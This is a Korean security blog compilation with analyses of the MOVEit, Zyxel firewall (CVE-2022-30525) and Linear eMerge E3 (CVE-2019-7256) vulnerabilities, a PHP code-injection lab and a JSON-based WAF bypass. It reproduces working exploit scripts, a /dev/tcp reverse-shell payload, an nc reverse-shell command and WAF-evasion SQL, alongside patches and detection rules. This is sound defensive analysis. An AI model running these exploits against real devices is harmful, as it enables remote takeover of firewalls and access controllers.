      int num2 = Information.LBound((Array) strArray);
      int num3 = Information.UBound((Array) strArray);
      int index = num2;
      while (index <= num3)
      {
        if (Operators.CompareString(Strings.Left(strArray[index], num1), "X-siLock-SessVar", false) == 0)
        {
          int num4 = strArray[index].IndexOf(':', num1);
          if (num4 >= 0)
          {
            int num5 = strArray[index].IndexOf(':', checked (1 + num4));
            if (num5 > 0)
              this.SetValue(strArray[index].Substring(checked (2 + num4), checked (num5 - num4 - 2)), (object) strArray[index].Substring(checked (2 + num5)));
          }
        }
        checked { ++index; }
      }
      return flag;
    }

 

> 여러 위치에서 사용되는 복잡한 SQL 쿼리를 변경

 private void UserGetUsersWithEmailAddress(
-      ref ADORecordset MyRS,
+      ref IRecordset MyRS,
       string EmailAddress,
       string InstID,
       bool bJustEndUsers = false,
       bool bJustFirstEmail = false)
     {
-      object[] objArray;
-      bool[] flagArray;
-      object obj = NewLateBinding.LateGet((object) null, typeof (string), "Format", objArray = new object[4]
+      Func<string, string> func = new Func<string, string>(this.siGlobs.objWrap.Connection.FormatParameterName);
+      SQLBasicBuilder where = this._sqlBuilderUsers.SelectBuilder().AddColumnsToSelect("Username", "Permission", "LoginName", "Email").AddAndColumnEqualsToWhere<string>(nameof (InstID), InstID, true).AddAndColumnEqualsToWhere<int>("Deleted", 0);
+      if (bJustEndUsers)
+        where.AddAndColumnGreaterThanToWhere<int>("Permission", 10, true);
+      string str = this.siGlobs.objUtility.EscapeLikeForSQL(EmailAddress);
+      List<string> values = new List<string>()
       {
-        Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("SELECT Username, Permission, LoginName, Email FROM users WHERE InstID={0} AND Deleted=" + Conversions.ToString(0) + " "), Interaction.IIf(bJustEndUsers, (object) ("AND Permission>=" + Conversions.ToString(10) + " "), (object) "")), (object) "AND "), (object) "("), (object) "Email='{2}' OR "), (object) this.siGlobs.objUtility.BuildLikeForSQL("Email", "{1},%", bEscapeAndConvertMatchString: false)), Interaction.IIf(bJustFirstEmail, (object) "", (object) (" OR " + this.siGlobs.objUtility.BuildLikeForSQL("Email", "%,{1}", bEscapeAndConvertMatchString: false) + " OR " + this.siGlobs.objUtility.BuildLikeForSQL("Email", "%,{1},%", bEscapeAndConvertMatchString: false)))), (object) ") "), (object) "ORDER BY LoginName"),
-        (object) InstID,
-        (object) this.siGlobs.objUtility.EscapeLikeForSQL(EmailAddress),
-        (object) EmailAddress
-      }, (string[]) null, (Type[]) null, flagArray = new bool[4]
-      {
-        false,
-        true,
-        false,
-        true
-      });
-      if (flagArray[1])
-        InstID = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray[1]), typeof (string));
-      if (flagArray[3])
-        EmailAddress = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray[3]), typeof (string));
-      this.siGlobs.objWrap.DoReadQuery(Conversions.ToString(obj), ref MyRS, true);
+        string.Format("Email={0}", (object) func("Email")),
+        this.siGlobs.objUtility.BuildLikeForSQL("Email", func("FirstEmail"), bEscapeAndConvertMatchString: false, bQuoteMatchString: false)
+      };
+      where.WithParameter("Email", (object) EmailAddress);
+      where.WithParameter("FirstEmail", (object) string.Format("{0},%", (object) str));
+      if (!bJustFirstEmail)
+      {
+        values.Add(this.siGlobs.objUtility.BuildLikeForSQL("Email", func("MiddleEmail"), bEscapeAndConvertMatchString: false, bQuoteMatchString: false));
+        values.Add(this.siGlobs.objUtility.BuildLikeForSQL("Email", func("LastEmail"), bEscapeAndConvertMatchString: false, bQuoteMatchString: false));
+        where.WithParameter("MiddleEmail", (object) string.Format("%,{0},%", (object) str));
+        where.WithParameter("LastEmail", (object) string.Format("%,{0}", (object) str));
+      }
+      where.AddAndToWhere("(" + string.Join(" OR ", (IEnumerable<string>) values) + ")");
+      where.AddColumnToOrderBy("LoginName", SQLBasicBuilder.OrderDirection.Ascending);
+      this.siGlobs.objWrap.DoReadQuery(where.GetQuery(), where.Parameters, ref MyRS, true);
     }

 

② 벤더사 권장 수정 사항 (업데이트 외) [8]

- MOVEit Transfer의 HTTP 및 HTTPS 트래픽 비활성화

- 감사 로그를 점검해 비정상적인 파일 접근 및 다운로드 기록이 있는지 확인

- 악성 파일 및 사용자 계정 삭제

> 웹쉘과 cmdline 스크립트 파일 등을 삭제하고 승인되지 않은 계정 삭제

> 관련 행위 조사와 관련된 정보 제공 [11]

 

③ 업데이트가 불가할 경우

- 신뢰할 수 있는 IP 주소에서만 MOVEit Transfer 접속하도록 방화벽 설정
- 승인되지 않은 사용자 계정 제거
- 신뢰할 수 있는 인바운드 연결만 허용
- 다단계 인증 활성화

 

④ 공개된 침해지표 보안장비 적용 [12][13][14][15]

 

4. 참고

[1] https://www.ipswitch.com/moveit-transfer
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-34362#close
[3] https://www.huntress.com/blog/moveit-transfer-critical-vulnerability-rapid-response
[4] https://www.shodan.io/search?query=http.favicon.hash%3A989289239
[5] https://viz.greynoise.io/tag/moveit-transfer-scanner?days=30
[6] https://www.akamai.com/blog/security-research/moveit-sqli-zero-day-exploit-clop-ransomware
[7] https://gist.github.com/JohnHammond/44ce8556f798b7f6a7574148b679c643
[8] https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-31May2023
[9] https://community.progress.com/s/article/Vulnerability-May-2023-Fix-for-MOVEit-Transfer-2020-1-12-1

[10] https://www.ncsc.go.kr:4018/main/cop/bbs/selectBoardArticle.do;jsessionid=nZaP7DIRsvlu8YwvR52vr0pZJfg76AruG7wWlqMRyamD1eEvxANzXJO2mce9RlAb.nweb2_servlet_ncsc?bbsId=SecurityAdvice_main&nttId=44288&pageIndex=1#LINK

[11] https://docs.ipswitch.com/MOVEit/DMZ%207.5/online%20guide/MOVEitDMZ_AdvancedTopics_SystemInternals_TechnicalReference.htm

[12] https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-158a
[13] https://www.mandiant.com/resources/blog/zero-day-moveit-data-theft
[14] https://www.imperva.com/blog/cve-2023-34362-moveit-transfer/
[15] https://www.boannews.com/media/view.asp?idx=118913&page=4&kind=1

[16] https://www.horizon3.ai/moveit-transfer-cve-2023-34362-deep-dive-and-indicators-of-compromise/

[17] https://github.com/horizon3ai/CVE-2023-34362

[18] https://attackerkb.com/topics/mXmV0YpC3W/cve-2023-34362/rapid7-analysis?referrer=notificationEmail 

1. Zyxel

- 네트워크 통신 장비를 서비스하는 대만 다국적 기업

 

2. 취약점

[사진 1]&nbsp;https://nvd.nist.gov/vuln/detail/CVE-2022-30525

- 취약한 Zyxel 방화벽의 관리 HTTP 인터페이스(인터넷에 노출된 경우)를 통해 OS 명령을 실행할 수 있는 취약점

영향받는 제품
① USG FLEX 100(W), 200, 500, 700 – 펌웨어: ZLD V5.00 ~ ZLD V5.21 패치 1
② USG FLEX 50(W) / USG20(W)-VPN – 펌웨어: ZLD V5.10 ~ ZLD V5.21 패치 1
③ ATP 시리즈 – 펌웨어: ZLD V5.10 ~ ZLD V5.21 패치 1
④ VPN 시리즈 – 펌웨어: ZLD V4.60 ~ ZLD V5.21 패치 1
※ 이러한 제품은 일반적으로 VPN, SSL 검사, 침입 방지, 이메일 보안 및 웹 필터링을 위해 소규모 지점 및 기업 본사에서 사용

[사진 2] 쇼단 검색 화면

2.1 분석

- 해당 취약점은 /ztp/cgi-bin/handler URI를 통해 악용되며, 취약한 기능은 setWanPortSt 명령과 관련

- handler.py에서 지원하는 명령은 다음과 같음

※ handler: 다양한 명령을 처리하는 Python 스크립트

supported_cmd = ["ping", "dnsanswer", "ps", "peek", "kill", "pcap", "traceroute", \
  "atraceroute", "iptables", "getorchstat", \
  "getInterfaceName_out", "getInterfaceInfo", \
  #"getSingleInterfaceInfo", "getAllInterfaceInfo", \
  #"getInterfaceNameAll", "getInterfaceNameMapping", \
  "nslookup", "iproget", \
  "diagnosticinfo", "networkUnitedTest", \
  #"setRemoteAssistActive", "getRemoteAssist", \
  "setRemoteZyxelSupport", "getRemoteZyxelSupport", \
  "getWanPortList", "getWanPortSt", "setWanPortSt", "getZTPurl", "getWanConnSt", \
  "getUSBSt","setUSBmount","setUSBactive", \
  "getDiagnosticInfoUsb", \
  "getDeviceCloudInfo", "getpacketcapconf", "getpacketcapst", "packetcapstart", "packetcapend", "packetcapremovefile", \
  "getlanguagest","setlanguage"
]

 

- setWanPortSt 명령을 통한 요청일 경우 handler.py는 lib_wan_settings.py의 setWanPortSt를 호출

def setWanPortSt(req):

    reply = {}
    vlan_tagged = ''
    logging.info(req)
    port = req["port"].strip()

    vlanid = req["vlanid"]
    proto = req["proto"]
    data = req["data"]
    vlan_tagged = req["vlan_tagged"]
    
    cmdLine = ''
    GUIportst = {}
    
    extname = findextname(port)

    #TODO: subprocess method
    try:
        if vlan_tagged == '1':
            if vlanid == '':
                vlanid == '0'

        if proto == "dhcp":
            if 'mtu' not in req:
                req['mtu'] = '1500'
            if vlan_tagged == '1':
                cmdLine = '/usr/sbin/sdwan_iface_ipc 11 '
            else:
                cmdLine = '/usr/sbin/sdwan_iface_ipc 1 '
            #extname = findextname(port)
            cmdLine += extname + ' ' + port.lower() + ' ' + req['mtu']
            if vlan_tagged == '1':
                cmdLine += ' ' + vlanid
            if "option60" in data:
                cmdLine += ' ' + data['option60']
            cmdLine += ' >/dev/null 2>&1'
        elif proto == "static":
            if 'mtu' not in req:
                req['mtu'] = '1500'
            prefix_length = netmask_to_cidr(data['netmask'])
            if vlan_tagged == '1':
                cmdLine = '/usr/sbin/sdwan_iface_ipc 12 '
            else:
                cmdLine = '/usr/sbin/sdwan_iface_ipc 2 '
            #extname = findextname(port)
            cmdLine += extname + ' ' + port.lower() + ' ' + data['ipaddr'] + ' ' + str(prefix_length) + ' ' + data['gateway'] + ' ' + req['mtu']
            if vlan_tagged == '1':
                cmdLine += ' ' + vlanid
            cmdLine += ' ' + data['firstDnsServer']
            if 'secondDnsServer' in data:
                cmdLine += ' ' + data['secondDnsServer']
            cmdLine += ' >/dev/null 2>&1'
        elif proto == "pppoe":
            if vlan_tagged == '1':
                cmdLine = '/usr/sbin/sdwan_iface_ipc 13 '
            else:
                cmdLine = '/usr/sbin/sdwan_iface_ipc 3 '
            #extname = findextname(port)

            if 'auth_type' not in data:
                data['auth_type'] = 'chap-pap'
            if 'mtu' not in req:
                req['mtu'] = '1492'
            if 'ipaddr' not in data:
                data['ipaddr'] = '0.0.0.0'
            if 'gateway' not in data:
                data['gateway'] = '0.0.0.0'
            if 'firstDnsServer' not in data:
                data['firstDnsServer'] = '0.0.0.0'

            cmdLine += extname + ' ' + port.lower() + ' ' + data['username'] + ' ' + data['password'] 
                + ' ' + data['auth_type'] 
                + ' ' + data['ipaddr'] + ' ' + data['gateway'] 
                + ' ' + data['firstDnsServer'] + ' ' + req['mtu']
            if vlan_tagged == '1':
                cmdLine += ' ' + vlanid
            cmdLine += ' >/dev/null 2>&1'
            
        logging.info("cmdLine = %s" % cmdLine)
        with open("/tmp/local_gui_write_flag", "w") as fout:
            fout.write("1");

        response = os.system(cmdLine) 
        logging.info(response)
        if response != 256:
            logging.info("cmd thread return error")
            reply = {"error": 500}
        else:
            logging.info("cmd success!!")
            reply["stdout"] = [{}]
            reply["stderr"] =""
            with open(WAN_PORT_LAST_CHANGED, "w") as fout:
                fout.write(port)
            if not os.path.exists(ztpinclude.PATH_WAN_MODIFIED_TO_CLOUD):
                reply = {"error": 500, "exception": "Cannot find data2cloud folder!"}
            with open(ztpinclude.PATH_WAN_MODIFIED_TO_CLOUD + 'local_wan_modified', 'a+') as fout:
                fout.write(port + ' ')
            
    except Exception as e:
        reply = {"error": 500, "exception": e}
   
    return reply

 

- setWanPortSt()는 사용자 요청을 검증 없이 cmdLine 변수에 저장 후 os.system(cmdLine)으로 명령을 실행

def setWanPortSt(req):

...

 if proto == "dhcp":
            if 'mtu' not in req:
                req['mtu'] = '1500'
            if vlan_tagged == '1':
                cmdLine = '/usr/sbin/sdwan_iface_ipc 11 '
            else:
                cmdLine = '/usr/sbin/sdwan_iface_ipc 1 '
            #extname = findextname(port)
            cmdLine += extname + ' ' + port.lower() + ' ' + req['mtu']
            if vlan_tagged == '1':
                cmdLine += ' ' + vlanid
            if "option60" in data:
                cmdLine += ' ' + data['option60']
            cmdLine += ' >/dev/null 2>&1'

...

cmdLine += extname + ' ' + port.lower() + ' ' + data['username'] + ' ' + data['password'] 
                + ' ' + data['auth_type'] 
                + ' ' + data['ipaddr'] + ' ' + data['gateway'] 
                + ' ' + data['firstDnsServer'] + ' ' + req['mtu']
                
...

response = os.system(cmdLine)

 

2.2 PoC

- exploit(url, host, port)의 data 변수를 사용해 임의의 명령을 삽입

from requests.packages.urllib3.exceptions import InsecureRequestWarning
import sys
import json
import base64
import requests
import argparse


parser = argparse.ArgumentParser(
    prog="CVE-2022-30525.py",
    description="Example : python3 %(prog)s -u https://google.com -r 127.0.0.1 -p 4444",
)
parser.add_argument("-u", dest="url", help="Specify target URL")
parser.add_argument("-r", dest="host", help="Specify Remote host")
parser.add_argument("-p", dest="port", help="Specify Remote port")

args = parser.parse_args()

banner = (
    "ICwtLiAuICAgLCAsLS0uICAgICAsLS4gICAsLS4gICwtLiAgLC0uICAgICAgLC0tLCAgLC0uICA7"
    "LS0nICwtLiAgOy0tJyAKLyAgICB8ICAvICB8ICAgICAgICAgICApIC8gIC9cICAgICkgICAgKSAg"
    "ICAgICAvICAvICAvXCB8ICAgICAgICkgfCAgICAKfCAgICB8IC8gICB8LSAgIC0tLSAgIC8gIHwg"
    "LyB8ICAgLyAgICAvICAtLS0gIGAuICB8IC8gfCBgLS4gICAgLyAgYC0uICAKXCAgICB8LyAgICB8"
    "ICAgICAgICAgLyAgIFwvICAvICAvICAgIC8gICAgICAgICAgKSBcLyAgLyAgICApICAvICAgICAg"
    "KSAKIGAtJyAnICAgICBgLS0nICAgICAnLS0nICBgLScgICctLScgJy0tJyAgICAgYC0nICAgYC0n"
    "ICBgLScgICctLScgYC0nICAKCVJldnNoZWxscwkoQ3JlYXRlZCBCeSBWYWxlbnRpbiBMb2JzdGVp"
    "biA6KSApCg=="
)


def main():

    print("\n" + base64.b64decode(banner).decode("utf-8"))

    if None in vars(args).values():
        print(f"[!] Please enter all parameters !")
        parser.print_help()
        sys.exit()

    if "http" not in args.url:
        args.url = "https://" + args.url
    args.url += "/ztp/cgi-bin/handler"
    exploit(args.url, args.host, args.port)


def exploit(url, host, port):
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0",
        "Content-Type": "application/json",
    }

    data = {
        "command": "setWanPortSt",
        "proto": "dhcp",
        "port": "4",
        "vlan_tagged": "1",
        "vlanid": "5",
        "mtu": f'; bash -c "exec bash -i &>/dev/tcp/{host}/{port}<&1;";',
        "data": "hi",
    }
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    print(f"\n[!] Trying to exploit {args.url.replace('/ztp/cgi-bin/handler','')}")

    try:
        response = requests.post(
            url=url, headers=headers, data=json.dumps(data), verify=False, timeout=5
        )
    except (KeyboardInterrupt, requests.exceptions.Timeout):
        print("[!] Bye Bye hekcer !")
        sys.exit(1)
    finally:

        try:
            print("[!] Can't exploit the target ! Code :", response.status_code)

        except:
            print("[!] Enjoy your shell !!!")


if __name__ == "__main__":
    main()

[사진 3] 공격 패킷 일부

3. 대응방안

3.1 서버측면

① 해당 벤더사에서 발표한 보안 권고를 참고하여 최신 버전으로 업데이트 적용

제품명 영향받는 버전 해결 버전
USG FLEX 100(W), 200, 500, 700 ZLD V5.00 ~ ZLD V5.21 Patch 1 ZLD V5.30
USG FLEX 50(W) / USG20(W)-VPN ZLD V5.10 ~ ZLD V5.21 Patch 1 ZLD V5.30
ATP series ZLD V5.10 ~ ZLD V5.21 Patch 1 ZLD V5.30
VPN series ZLD V4.60 ~ ZLD V5.21 Patch 1 ZLD V5.30

https://www.zyxel.com/support/Zyxel-security-advisory-for-OS-command-injection-vulnerability-of-firewalls.shtml

 

3.2 네트워크 측면

① 공개된 PoC를 확인해 탐지 정책 적용

alert tcp $EXTERNAL_NET any -> $HOME_NET any(msg:"Zyxel Firewall handler mtu RCE (CVE-2022-30525)";flow:to_server, established;content:"/ztp/cgi-bin/handler";)

alert tcp $EXTERNAL_NET any -> $HOME_NET any(msg:"Zyxel Firewall handler mtu RCE (CVE-2022-30525)";flow:to_server, established;content:"/ztp/cgi-bin/handler";content:"setWanPortSt"; http_client_body;)

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2022-30525

https://www.exploit-db.com/exploits/50946

- http://www.zyxel.kr/bbs/board.php?bo_table=notice&wr_id=169&page=2

https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/

https://www.bleepingcomputer.com/news/security/zyxel-fixes-firewall-flaws-that-could-lead-to-hacked-networks/

https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-os-command-injection-vulnerability-of-firewalls

https://www.zyxel.com/support/Zyxel-security-advisory-for-OS-command-injection-vulnerability-of-firewalls.shtml

- https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66715

https://blog.alyac.co.kr/4715

1. PHP Code Injection

- Code injection 공격 중 하나로 취약한 PHP 함수에 악의적인 코드를 삽입하는 공격

 

2. 실습

2.1 Low

- "message"를 클릭한 뒤 URL을 확인해보면 GET 방식을 사용하며, message 매배견수로 입력 받은 값을 표시함

[사진 1] 초기 화면

 

- [사진 1]의 URL에서 확인되는 phpi.php 페이지를 확인 시 eval() 함수로 message 매개변수로 받은 값을 실행

- PHP에서 eval()은 ()안의 문자열을 PHP 코드로 실행하는 함수

- 참고 : https://www.php.net/manual/en/function.htmlspecialchars.php

[사진 2] eval()

 

- 원격의 공격자를 이를 이용해 원격에서 임의 명령 실행 가능

① 원격의 공격자는 nc 명령으로 4444 Port를 오픈 후 대기

② 취약한 message 매개변수에 리버스쉘을 생성하는 명령어 삽입 ex) system("nc 192.168.56.102 4444 -e /bin/bash")

③ 명령프롬프트 표시 : python -c 'import pty;pty.spawn("/bin/bash")'

[사진 3] 리버스 쉘 생성

2.2 Medium / High

- Medium / High Level에서는 Injection 코드가 텍스트로 출력

[사진 4] 결과

- eval() 함수를 사용한 Low Level과 달리 htmlspecialchars()를 통해 특수문자를 필터링 ( &, ", ', <, > )

- 참고 : https://www.php.net/manual/en/function.htmlspecialchars.php

※ 해당 함수는 우회가능함

① 입력 값을 base64 인코딩된 값으로 받는 페이지에서 우회 가능

② Hex 값을 반환해줄 경우 특수 문자를 Hex Encoding하여 우회 가능

[사진 5] htmlspecialchars()

1. 개요

-  Team82에서 웹 애플리케이션 방화벽(WAF)의 우회방법을 개발

※ 관련 WAF 공급 업체 : Palo Alto Networks, Amazon Web Services, Cloudflare, F5 Big-IP, Imperva

- 공격 방법은 WAF가 구문 분석할 수 없는 SQL Injection 페이로드에 JSON 구문을 추가하는 것

- 대부분의 WAF는 SQL Injection 공격을 쉽게 감지 하지만 SQL 구문에 JSON을 추가하면 WAF 우회가 가능

※ WAF 공급업체는 대부분의 데이터베이스 엔진에서 JSON을 지원했음에도 불구하고 제품에서 JSON 지원이 부족

- 위 5개 업체 모두 SQL Injection 검사 프로세스에 JSON 구문을 지원하도록 업데이트 적용

- 해당 기법을 악용해 타제품 WAF 우회 및 공격이 가능하므로, 패치 적용 또는 관련 설정이 필요

 

2. SQL과 JSON

- 현대에 JSON은 데이터 저장 및 전송의 주요 형식 중 하나로 자리잡음

- JSON 구문을 지원하고 개발자가 다른 애플리케이션에서 데이터와 상호 작용하는 방식과 유사한 방식으로 데이터와 상호 작용할 수 있도록 하려면 SQL에서 JSON 지원이 필요했음

 

- 현재 모든 주요 관계형 데이터베이스 엔진은 기본 JSON 구문을 지원함

※ MSSQL, PostgreSQL, SQLite, MySQL이 포함

- 최신 버전에서는 모든 데이터베이스 엔진이 기본적으로 JSON 구문을 활성화하므로 오늘날 대부분의 데이터베이스 설정에서 널리 사용됨

 

- 개발자는 여러 이유로 SQL 데이터베이스 내에서 JSON 기능을 사용하기로 선택

① 많은 백엔드가 이미 JSON 데이터로 작업

> SQL 엔진 자체에서 모든 데이터 조작 및 전환을 수행하면 필요한 데이터베이스 호출 수가 줄어듦

② JSON 데이터 형식은 데이터베이스 백엔드 API에서 가장 많이 사용하는 형식

> JSON 데이터 형식으로 작동할 수 있는 경우 데이터 전,후처리가 덜 필요하므로 애플리케이션에서 먼저 변환할 필요 없이 즉시 사용이 가능

∴ SQL에서 JSON을 사용할 경우 더 나은 성능과 효율성 즉, 리소스 절약이 가능함

[사진 1] SQL에서 JSON을 사용하는 데이터 흐름

 

- 각 데이터베이스는 서로 다른 구현 및 JSON 파서를 선택했으며, 모두 JSON 데이터 유형과 기본 JSON 검색 및 수정을 지원

[사진 2] 데이터베이스 별 JSON 지원 수준

 

- 그러나 모든 데이터베이스 엔진이 JSON에 대한 지원을 추가했지만 모든 보안장비가 JSON에 대한 지원을 추가한 것은 아님

∴ 보안장비와 실제 데이터베이스 엔진 간의 구문 분석 기본 요소가 일치하지 않아 SQL 구문이 잘못 식별될 수 있음

> 결과적으로 JSON은 WAF의 파서와 데이터베이스 엔진 간의 불일치로 인한 문제

 

3. 취약점

- JSON 구문을 사용하면 새 SQL Injection 페이로드를 만들 수 있음

- 이러한 페이로드는 일반적으로 알려지지 않았기 때문에 보안장비를 우회하는 데 사용될 수 있음

PostgreSQL: '{"b":2}'::jsonb <@ '{"a":1, "b":2}'::json
> b Is the left JSON contained in the right one? True.

SQLite: '{"a":2,"c":[4,5,{"f":7}]}' -> '$.c[2].f' = 7 
> Does the extracted value of this JSON equals 7? True. 

MySQL: JSON_EXTRACT('{"id": 14, "name": "Aztalan"}', '$.name') = 'Aztalan' 
> Does the extracted value of this JSON equals to ‘Aztalan’? True.

 

- WAF가 유효한 SQL로 인식하지 않지만 데이터베이스 엔진에서 SQL Injection으로 분석된다면 우회가 가능함

- JSON 구문을 사용하는 유효한 SQL 문을 전달했을 때 WAF에서 탐지되지 않음

※ 오른쪽 JSON이 왼쪽 JSON에 포함되어 있는지 확인하는 JSON 연산자 @>는 WAF를 우회할 수 있음 ([사진 3] 참고)

[사진 3] JSON 구문이 포함된 SQL Injection에 대한 200 응답값

 

- 간단한 JSON 구문을 요에 추가하여 SQL Injection을 수행할 경우 클라우드에서 민감한 정보를 얻을 수 있음

[사진 4] JSON 구문이 포함된 SQL Injection을 통한 클라우드에서의 정보 탈취

 

- 이 우회의 핵심 문제는 데이터베이스 엔진과 SQL Injection 탐지 솔루션 간의 적합성 부족 문제
- 이는 SQL의 JSON 기능이 잘 알려진 기능이 아니며 해당 구문이 WAF 파서에 추가되지 않았기 때문임

- 공격자가 피해 서버에 어떤 WAF가 있는지 확인할 수 없더라도 JSON 기반 SQL Injeciton 공격을 통해 우회 및 악용할 수 있음.

 

- 오픈소스 SQL Injetion 자동화 툴 SQLMap의 최신 버전에서 JSON 구문 회피 기술이 추가됨.

 

GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool

Automatic SQL injection and database takeover tool - GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool

github.com

 

- SQLMap에서는 일부 WAF 우회 기술을 제공하지만 일반적인 SQL Injection은 대부분 최신 WAF에서 쉽게 탐지/차단

[사진 5] SQLMap에서 SQL Injection 공격 시 WAF 탐지/차단

 

- 그러나 임의로 생성된 JSON 구문을 추가하여 SQLMap에서 악성 페이로드 공격 시 WAF 우회 및 성공적으로 악용할 수 있음.

- SQLMap 옵션 : --temper json_waf_bypass

[사진 6] JSON 기반 SQL Injection 공격 시 WAF 우회

4. 대응

- 5곳의 주요 WAF 공급업체 모두 SQL Injection 검사 프로세스에 JSON 구문을 지원하도록 업데이트 적용

※ 관련 WAF 공급 업체 : Palo Alto Networks, Amazon Web Services, Cloudflare, F5 Big-IP, Imperva

- 5곳 외 타 보안장비 벤더사에서도 관련된 패치 제공 및 솔루션에 패치 적용 필요

[사진 7] JSON 구문에 대한 지원을 추가한 Amazon AWS ELB 규칙 세트에 대한 AWS 릴리스 정보
[사진 8] JSON 구문에 대한 지원을 추가한 F5 BIG-IP의 승인

5. 출처

 

{JS-ON: Security-OFF}: Abusing JSON-Based SQL to Bypass WAF

Team82 developed a generic web application firewall bypass that exploits a lack of JSON syntax support in leading vendors' SQL injection inspection process.

claroty.com

1. Linear eMerge E3-Series devices

- 사람이 지정된 시간에 지정된 장소에 출입하기 위해 사용할 수 있는 문을 지정하는 액세스 컨트롤러

-  즉, 조직 차원에서 특정 영역 출입 인원을 지정해 통제할 수 있으며, 따라서 여러 주요 시설에서 흔히 찾을 수 있는 제품

- 내장형 Linux 운영 체제에서 실행되며 내장형 웹 서버를 통해 브라우저에서 시스템을 관리

 

2. 취약점

[사진 1]&nbsp;https://nvd.nist.gov/vuln/detail/CVE-2019-7256

- Linear eMerge E3-Series 제품군에서 발생하는 Command Injections 취약점

- 원격에서 제어 시스템을 완전히 장악할 수 있게 되어 CVSS 기준으로 만점인 10점을 받음

영향받는 제품 : Linear eMerge E3-Series 제품군

[사진 2] 쇼단 검색 화면

 

2.1 취약점 분석

- card_scan.php 페이지에서 사용자 입력값에 대한 검증을 수행하지 않아 발생

- GET 메소드를 통해 사용자가 입력한 ReaderNo, CardFormatNo 변수를 그대로 사용하여 exec()로 실행

[사진 3] 취약한 버전의 card_scan.php

- 아래 Exploit 예시에서처럼 서버에서 200 응답이 발생

[사진 4] Exploit 예시

2.2 PoC 분석

- /card_scan.php URL 요청 및 ReaderNo 매개변수 (혹은 CardFormatNo 매개변수)를 통해 공격을 시도함

- 결과를 test.txt(임의 파일명)에 저장 후 결과 출력, 삭제까지 이루어짐

#!/usr/bin/env python
#
# Linear eMerge E3 Unauthenticated Command Injection Remote Root Exploit
# Affected version: <=1.00-06
# via card_scan.php
# CVE: CVE-2019-7256
# Advisory: https://applied-risk.com/resources/ar-2019-005
#
# By Gjoko 'LiquidWorm' Krstic
#
###################################################################
# lqwrm@metalgear:~/stuff$ python emergeroot1.py 192.168.1.2
#
# lighttpd@192.168.1.2:/spider/web/webroot$ id
# uid=1003(lighttpd) gid=0(root)
#
# lighttpd@192.168.1.2:/spider/web/webroot$ echo davestyle |su -c id
# Password: 
# uid=0(root) gid=0(root) groups=0(root)
#
# lighttpd@192.168.1.2:/spider/web/webroot$ exit
#
# [+] Erasing read stage file and exiting...
# [+] Done. Ba-bye!
#
###################################################################

import requests
import sys,os##

piton = os.path.basename(sys.argv[0])

if len(sys.argv) < 2:
  print '\n\x20\x20[*] Usage: '+piton+' <ipaddress:port>\n'
  sys.exit()

ipaddr = sys.argv[1]

print
while True:
  try:
    cmd = raw_input('lighttpd@'+ipaddr+':/spider/web/webroot$ ')
    execute = requests.get('http://'+ipaddr+'/card_scan.php?No=30&ReaderNo=%60'+cmd+' > test.txt%60')
    readreq = requests.get('http://'+ipaddr+'/test.txt')
    print readreq.text
    if cmd.strip() == 'exit':
      print "[+] Erasing read stage file and exiting..."
      requests.get('http://'+ipaddr+'/card_scan.php?No=30&ReaderNo=%60rm test.txt%60')
      print "[+] Done. Ba-bye!\n"
      break
    else: continue
  except Exception:
    break

sys.exit()

 

3. 대응방안

3.1 서버측면

① 최신 패치 적용

- 패치된 버전의 card_scan.php에서는 사용자 입력값이 적절한지 is_numeric()으로 검증

- is_numeric()은 변수의 자료형이 숫자인지 확인하는 php 함수

※ card_scan.php는 카드 정보를 확인하는 기능을 수행하는것으로 판단됨.

[사진 5] 입력값 검증

② 내부망과 분리

- 패치 적용이 어렵거나 불가한 경우 취약한 시스템을 내부망에서 분리

- 공격자에 의한 네트워크 접속한 후 횡적 움직임 방지

 

3.2 네트워크 측면

① 공개된 PoC를 통해 다음을 탐지하는 룰을 적용 및 탐지 후 차단

- 취약한 URL 요청 : /card_scan.php

- 매개변수 사용 여부 : No, ReaderNo, CardFormatNo

 

② IoC를 참고해 IP 차단 등의 침해지표 활용

 

4. 참조

https://nvd.nist.gov/vuln/detail/CVE-2019-7256

- https://www.boannews.com/media/view.asp?idx=86155 

https://www.exploit-db.com/docs/47646

https://securitynews.sonicwall.com/xmlpost/linear-emerge-e3-access-controller-actively-being-exploited/

- https://packetstormsecurity.com/files/155255/Linear-eMerge-E3-1.00-06-card_scan.php-Command-Injection.html

+ Recent posts